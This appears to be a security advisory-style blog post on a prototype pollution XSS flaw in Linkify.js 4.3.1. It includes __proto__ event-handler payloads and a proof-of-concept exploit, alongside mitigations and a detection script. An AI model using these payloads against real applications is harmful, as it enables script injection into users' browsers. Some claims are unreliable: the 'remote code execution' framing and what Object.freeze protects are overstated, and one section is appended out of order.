TL;DR
Linkify.js 4.3.1 contains a prototype pollution vulnerability (CVE-2025-8101) that enables remote code execution through XSS. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.
Technical Analysis
The Core Vulnerability
At its core, the vulnerability exists in the library’s attribute assignment logic. Linkify.js uses a custom assign() helper function that naively copies properties without proper validation:
export default function assign(target, properties) { for (const key in properties) { target[key] = properties[key]; // Prototype pollution vector } return target;}Prototype Pollution Mechanics
When processing link attributes, the library accepts user-controlled input through the options.attributes object. By providing a specially crafted object with a __proto__ property, an attacker can pollute the prototype of the base Object:
const maliciousOptions = { attributes: { __proto__: { // These properties will be inherited by all objects onclick: 'alert("XSS")', onmouseover: 'alert("XSS")', // ... other malicious attributes } }};The DOM XSS Chain
-
Initialization Phase:
- Application initializes Linkify with user-controlled options
- Malicious attributes are merged into the prototype chain
-
DOM Injection:
- When links are rendered, they inherit the polluted prototype
- Event handlers are automatically bound through the prototype chain
- No direct assignment of malicious code is visible in the DOM
Advanced Exploitation Vectors
Stored XSS via API Endpoints
// Backend API handler (vulnerable)app.post('/api/comment', (req, res) => { const { content } = req.body; // Process content with vulnerable Linkify version const processed = linkifyHtml(content, req.user.preferences); saveToDatabase(processed); // Stored XSS});Reflected XSS via URL Parameters
// Client-side rendering (vulnerable)const params = new URLSearchParams(window.location.search);const userContent = params.get('search');document.body.innerHTML = linkifyHtml(userContent);Bypassing Traditional Protections
-
Content Security Policy (CSP):
- Many CSP implementations allow
'unsafe-inline'for event handlers - Even with strict CSP,
javascript:URIs might be allowed for navigation
- Many CSP implementations allow
-
Input Sanitization:
- Most HTML sanitizers don’t catch prototype pollution
- The attack happens at the JavaScript level, not in the HTML
Mitigation Strategies
Immediate Actions
-
Upgrade to Linkify.js 4.3.2+
Terminal window npm install linkifyjs@latest -
Temporary Workarounds
// Safe wrapper functionfunction safeLinkify(text, options = {}) {// Remove __proto__ and constructor from optionsconst safeOptions = JSON.parse(JSON.stringify(options));return linkifyHtml(text, safeOptions);}
Secure Implementation Patterns
-
Input Validation
function validateAttributes(attrs) {const safeAttrs = {};const ALLOWED_ATTRS = ['class', 'target', 'rel', 'title'];for (const [key, value] of Object.entries(attrs)) {if (ALLOWED_ATTRS.includes(key)) {safeAttrs[key] = value;}}return safeAttrs;} -
Deep Object Freezing
Object.freeze()is a powerful JavaScript method that prevents modifications to an object. When applied, it:- Makes the object immutable (can’t add, remove, or modify properties)
- Prevents changes to property descriptors
- Makes the object’s prototype immutable
// Basic usageconst config = { apiKey: '123' };Object.freeze(config);config.apiKey = 'hacked'; // Fails silently in non-strict modedelete config.apiKey; // Failsconfig.newProp = 'test'; // FailsFor nested objects, we need a recursive solution:
function deepFreeze(object) {// Freeze the object itselfObject.freeze(object);// Handle null/undefined and non-objectsif (object === null || typeof object !== 'object') {return object;}// Freeze all propertiesObject.getOwnPropertyNames(object).forEach(prop => {const value = object[prop];// Recursively freeze objects and functions, but skip already frozen objectsif (!Object.isFrozen(value) && (value instanceof Object)) {deepFreeze(value);}});return object;}// Usage in Linkify.js contextconst safeOptions = deepFreeze({attributes: {// ... your attributes}});This pattern is particularly effective against prototype pollution because:
- It prevents modifications to the prototype chain
- It makes the object’s structure immutable
- It fails loudly in strict mode when someone tries to modify it
For more in-depth information, refer to the MDN documentation on Object.freeze().
Important Note: While
Object.freeze()is powerful, it only provides shallow immutability by default. Always use deep freezing for complex objects to ensure complete protection.
Detection & Response
Identifying Vulnerable Implementations
// Detection scriptconst isVulnerable = (() => { try { const test = {}; linkifyHtml('test', { attributes: { __proto__: { test: 1 } } }); return ({}).test === 1; } catch (e) { return false; }})();Log Analysis Patterns
Look for suspicious patterns in logs:
- Unusual
__proto__properties in attribute objects - Unexpected event handlers in linkify operations
- Multiple failed attempts with different attribute combinations
Conclusion
This vulnerability demonstrates the dangers of prototype pollution in JavaScript libraries and the importance of proper input validation. The impact is particularly severe given Linkify.js’s widespread use in content management systems, forums, and social platforms.
References
- Linkify.js GitHub Repository
- MDN: Object.prototype.proto
- PortSwigger: Prototype Pollution
- CVE-2025-8101 Details
- Security Advisory
When Linkify later sets link attributes, it blindly copies all enumerable keys, including inherited ones:
for (const attr in attributes) { element.setAttribute(attr, attributes[attr]);}Exploit PoC
import linkifyHtml from 'linkify-html';
const opts = { attributes: { __proto__: { onclick: "alert('XSS via prototype pollution')" } }};
console.log( linkifyHtml('victim.com', opts));Result: every generated <a> tag gets an onclick that pops XSS.
Impact
- Stored/Reflected XSS in any app using vulnerable Linkify.js
- Affects all platforms (browser/Node.js)
- CVE reserved: CVE-2025-8101